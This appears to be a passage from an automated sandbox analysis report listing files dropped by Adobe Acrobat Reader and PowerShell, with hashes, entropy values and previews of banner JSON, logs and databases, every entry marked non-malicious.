Preview:	{"analyticsData":{"responseGUID":"ac32ded7-fa7d-47c6-82ea-252786278969","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710852707,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.282615997598651
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyA17+sL86V4WsGiIPEeOF0YtDoAvJfQ1rPeUkwRe9:YvXKXT1PQ6RsdTeONsGY16Ukee9
MD5:	929440E5EA5E6DCEDDF38E1ACA563DE9
SHA1:	9A19743F8E2C63E90979036D80185CE341404788
SHA-256:	AB4210416326DA3181052F296D9AF5A941F166344E61A3A9A64B80FDFE8CD7DD
SHA-512:	59ECADDC3BDF6B758E3CBED6AE8C883694CA70B27D057F4B6BB01A9E30438FFA13EBD0DEAEEB9C97CE64B911D04B4B86F56A59E3C78A534DCE7D92AB2BA9F51E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac32ded7-fa7d-47c6-82ea-252786278969","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710852707,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296825901782017
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyA17+sL86V4WsGiIPEeOF0YtDoAvJfFldPeUkwRe9:YvXKXT1PQ6RsdTeONsGz8Ukee9
MD5:	E51B9596F348DE99C8E76C6C6CD02F49
SHA1:	479A44EE7D2512CCA54A1BDCEE91C0BFC536F825
SHA-256:	E3B90BA97114C58D51640BD9420D7E227040D1A26A6C824639BB14F78354AE56
SHA-512:	E27276CC4B68A6A677745CC4DCC5D07AE77D8217AA714969BF6D31ABE5F9FF61FA8022CD86537DB52C259A6A282301E0C611A344B62925AC6A85665F078D3B24
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac32ded7-fa7d-47c6-82ea-252786278969","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710852707,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.304504195159788
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyA17+sL86V4WsGiIPEeOF0YtDoAvJfzdPeUkwRe9:YvXKXT1PQ6RsdTeONsGb8Ukee9
MD5:	7CEF849564A5EDD81C79C717BF3ACE63
SHA1:	9253E479F4FB7CEC0BBB27E7AFBA7ED46CA3CAA9
SHA-256:	AA11F82C740B34AC5032FA7752EB950FCE9D996B6BE5CA0D29C628310361BADE
SHA-512:	24B16B326CEE865B4C49F789833F3C02FD28EA8A2B4E9E1F3FEB199BD82230298335578920C4154CC2805C178379CFC8EBBD7D9B3F3BC3966E70334ADD364A55
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac32ded7-fa7d-47c6-82ea-252786278969","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710852707,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2851169152698345
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyA17+sL86V4WsGiIPEeOF0YtDoAvJfYdPeUkwRe9:YvXKXT1PQ6RsdTeONsGg8Ukee9
MD5:	3499AB18E29EC1FE4A41B4FF143EDF2B
SHA1:	5FB045E909D2ACB6C8FF43C1AF697996990E1BF0
SHA-256:	CB6A98A0E0399483A0FB4EACB55E52E8D10D7DAF77C1B6E52D7EFDE72A2BB996
SHA-512:	CCD037398A77AB7E1F72F677BF06EFBE1C9AF37F376DB5B595DC8D2E2A7EA03C0DDC9A5F29597EAE5F8E200E4FDD53251F77D6B41698162494AEA4405416C01A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac32ded7-fa7d-47c6-82ea-252786278969","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710852707,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.271204252880734
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyA17+sL86V4WsGiIPEeOF0YtDoAvJf+dPeUkwRe9:YvXKXT1PQ6RsdTeONsG28Ukee9
MD5:	5A834CA96E386844E93EA60D3977BC50
SHA1:	3BE68338CC60CE820B6E0B278B2FF188923F9BA8
SHA-256:	345602A95DB81040499BA4D9C4432BFD89D935B9FC41D84E687C5435D71FA127
SHA-512:	B51405B5323EEE490EC7CDF5152A15BF270C6FD19A76876A17DB5F1963468EEEDEBA917AD2EC79675B26CA2ADFFEFFBA58D3D4AEAE6D0A43EB2FAEDF4929F828
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac32ded7-fa7d-47c6-82ea-252786278969","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710852707,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.26876630218583
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyA17+sL86V4WsGiIPEeOF0YtDoAvJfbPtdPeUkwRe9:YvXKXT1PQ6RsdTeONsGDV8Ukee9
MD5:	DBE703E07A1A20A421A13679D386F04A
SHA1:	78622065B7E2089504EF5E4BD5FDD9357F36B6CD
SHA-256:	B162908BC759FFD601BEF61D9606605332FE93A8D76EC0247AD2396CBA6254E4
SHA-512:	3CCCCB121D6D9C778140A057F5B3EDD85974B3872F69A3AA3153756B26FBAE4380BF3F798067B7BB41EF010FCF0C7DBBB601A4BA27C05EC3D74DD656F5861977
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac32ded7-fa7d-47c6-82ea-252786278969","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710852707,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.273507616290688
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyA17+sL86V4WsGiIPEeOF0YtDoAvJf21rPeUkwRe9:YvXKXT1PQ6RsdTeONsG+16Ukee9
MD5:	50137080A0D7DEF123E2FE7AF823D901
SHA1:	A213180BB3FF09970C2F16CC728AC59DA8D36AD2
SHA-256:	244225A0EFF6CE509BF30A3E00A057CC474D5794A167A3D313348CF730A7A690
SHA-512:	926413310EE4DBE833FCEC414132FFBB597A9A68919237C5AFD0049D8F02954C3DE747F396E8FB5C75DC3129E06A9E71D27B55D7A0E14E5FA3DA3F43A0FF0A0D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac32ded7-fa7d-47c6-82ea-252786278969","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710852707,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66117514730366
Encrypted:	false
SSDEEP:	24:Yv6XTzmeOvamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSGe:YvzeOBgkDMUJUAh8cvMGe
MD5:	B17B0349B1DA10175E0ADA5C28F024E8
SHA1:	0AD4D94860923D48D39CE51245050EE6E7FC1B91
SHA-256:	B1EE2150A391871C5E98647AD259981DAA1299AC7AEED9E2D9C768F776FFF63F
SHA-512:	CAABF35D97AF19F008E6CFEEF67F32207BFBF9AFB0E757D612096EBC39399EC10DBBF92D3A5728F1D6DF05FB5126EC74697498CA09A5C35748CB374E55552A5E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac32ded7-fa7d-47c6-82ea-252786278969","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710852707,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.247956027733957
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyA17+sL86V4WsGiIPEeOF0YtDoAvJfshHHrPeUkwRe9:YvXKXT1PQ6RsdTeONsGUUUkee9
MD5:	8E11D3E88438337682D103898A04CB08
SHA1:	236F5EBA67496A3BF2CD0D8198C2F728F0455C50
SHA-256:	999AA6803A5D8A9104E32C38540F39D04EE85B3139BBAE3A2836FE8C57DB5A60
SHA-512:	DAC9FCC034FB5D475F3FAB6A9E817787EE41F6AAFC47FBEF71D4E74A08D8BA337ED4DC692A97BF8B7D705D0E09B081B45523976F07884CDED2AEB185269F712F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac32ded7-fa7d-47c6-82ea-252786278969","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710852707,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.264322602116521
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyA17+sL86V4WsGiIPEeOF0YtDoAvJTqgFCrPeUkwRe9:YvXKXT1PQ6RsdTeONsGTq16Ukee9
MD5:	A3D4584AE8C40A4A0F2C7C2A753BE2EC
SHA1:	C36058875CAF4F45DBD6590F20E2DC68565769D1
SHA-256:	4C13D1475FE47C2EBFE258D624CD608C79736668CD0224FCA303902FB586830F
SHA-512:	8852CECEBA16CE636C0CA7F4740F98871C59F9CE6A1E5680DCE709956C6D1A9551E5BDAC94EFFB66C04622F3DB887438F600B9DAD7FF39F54987A01E466B8A85
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac32ded7-fa7d-47c6-82ea-252786278969","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710852707,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.132094591666141
Encrypted:	false
SSDEEP:	48:YyQM/FA6uByAXZ9za4Zd6x+bkT0ASGJz58zHenAKwon9/6IE9t:b/F/Y5ZzD6x+NHeceyxt
MD5:	567AAED706A4F58F6984B045CAF35E23
SHA1:	FF3FACB3F88A8E7CDE81042B62B6D14EC4612DDC
SHA-256:	B78F9A8735AA48AEF83D138DE24CE3949197A4556000CC7772D92AE614EF1C77
SHA-512:	F3111C8116262DE771A06D2F767AC733907B3FDCB43FF60B9EAD4359189E1A76D0666B38D9664C11DDC60820B8991689617B9E669C28C6FBDE9BA913646DB6B1
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ed2399c18509a2af7326b50f9c9fda26","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736533701000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"324def02968f0c8d63f4996002573a86","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736533701000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"558681b8ffb374dba5948e64a1bad4ee","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736533701000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"4d06fc88e77ff351c6bc9887b135f418","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736533701000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"d544283a4b753a832726b186624c1379","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736533701000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"416796f7369729cee82952fda7c38fc7","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4535991878616519
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsrGVlZGp:lNVmsw3SHtbDbPe0K3+fDZds2+
MD5:	0FBDE1D0599C23DEE09500B343F68CB9
SHA1:	FFBAD64CEA895F0E8422ACA15A5D2A1CA8C75202
SHA-256:	60DE6D118C177D14216998534CD1A1E779058F04218AEC4C2338189E356F0D45
SHA-512:	764FBF46C2CFBB2CAA61CA28F5EC7242C96C5067E27EA3A918B5521D10005ECF8EE748E2D8F27B26A66D03483EB26CBE3248DBA1B44BFF196E09876276867331
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.958800746298233
Encrypted:	false
SSDEEP:	48:7M7rvrBd6dHtbGIbPe0K3+fDy2dsrGguvqFl2GL7msiC:7G3SHtbDbPe0K3+fDZdswKVmsr
MD5:	5BED746369FFA4360F81CD17A38E720D
SHA1:	2DA0EEBF4D2B0103E2F344445DFEBA020DB0FA9D
SHA-256:	1660993F151B5FDFF895934E92C1350E30AE45F2AB2F3506B936B14121C3C4FF
SHA-512:	741749F09656E98F6BEE0312D4F970C22ECE527A58D7A5959B5DD0FF55F20B5CA6FE4B5C157568668E1752C4A0AD56B56E23BF1D5D5C035626DE8FD69C528BFE
Malicious:	false
Preview:	.... .c........5......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgtgr5DND5zKNF61zwVeYhwrT98VYyu:6a6TZ44ADEtgr5DdgN01WeYFK
MD5:	7077C644898825CD242BA0C10E0B82AE
SHA1:	1F7A3C2A13B23095031F57ADD0CD4571747B9BEE
SHA-256:	D98B46CFAEC13B6DB237296CF1C0400AAAF5F61450C8E95192B55D3C6F075278
SHA-512:	63CE6601FF52B63F10268104D121096AA806343E7B75F3487E0834104A88E01C8F18C597D3200C3BB2DF7E7B074E08F158E70F60ECDB1FE1792ACA4845D99191
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSI68eb3.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5046637269111454
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEZlYH:Qw946cPbiOxDlbYnuRK+bDbYH
MD5:	F1432C1163B6F06ABA20B0C7F3B20399
SHA1:	790922CFCC354CAC61E6E96969F33F6DA5C447DC
SHA-256:	B373FF3979E16049480392EF4CCBB576D1B0D3EAAC3BE911E7EE8F548262503B
SHA-512:	3154933E6180909F94E1170768AAA29E7B23E3BCF4031DD4E37BD03FFF14B3AF7436BCD437FAD717A42335AC3E0B71F2AEE6221DDDB3388AB9C5A124AA2993EB
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.2.8.:.2.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ha5jfuhp.vdl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_odmosd21.e2i.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-28-14-489.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.378772807637641
Encrypted:	false
SSDEEP:	384:gG6r6KuQUSRpQChCYKnOuZ2oIr7hsbJ9nyefpRhA82QBSw9eUIZIJQ1v7OQZg7gN:m4c
MD5:	48D4D1CA7EC4DF8EAC2321A6971C0E3E
SHA1:	DC16EE7544F9D0DC7E62B1F0F673253E4D31112D
SHA-256:	331073ED73E47D042A194D40A3223629A91CE092DEBC13EB4BCF18DEA4573C20
SHA-512:	0F64A42FEC9A2C818DA610C4E17398400B2E6A79461DABCD79AC43C6AE773D0163B57D3C99B76213FD5AC003823D5DA44D61999C8034284BB2AB08E1BA965D61
Malicious:	false
Preview:	SessionID=27e666bb-9f86-48f8-9cb5-09906c8a63dd.1736533694502 Timestamp=2025-01-10T13:28:14:502-0500 ThreadID=7396 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=27e666bb-9f86-48f8-9cb5-09906c8a63dd.1736533694502 Timestamp=2025-01-10T13:28:14:502-0500 ThreadID=7396 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=27e666bb-9f86-48f8-9cb5-09906c8a63dd.1736533694502 Timestamp=2025-01-10T13:28:14:502-0500 ThreadID=7396 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=27e666bb-9f86-48f8-9cb5-09906c8a63dd.1736533694502 Timestamp=2025-01-10T13:28:14:502-0500 ThreadID=7396 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=27e666bb-9f86-48f8-9cb5-09906c8a63dd.1736533694502 Timestamp=2025-01-10T13:28:14:502-0500 ThreadID=7396 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.408480775375735
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gR5e:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gR6
MD5:	142F0127C32937F44EBBA913D470557D
SHA1:	A9BF8ACB1CF1190588E9B9E63C51F3CEAABF0505
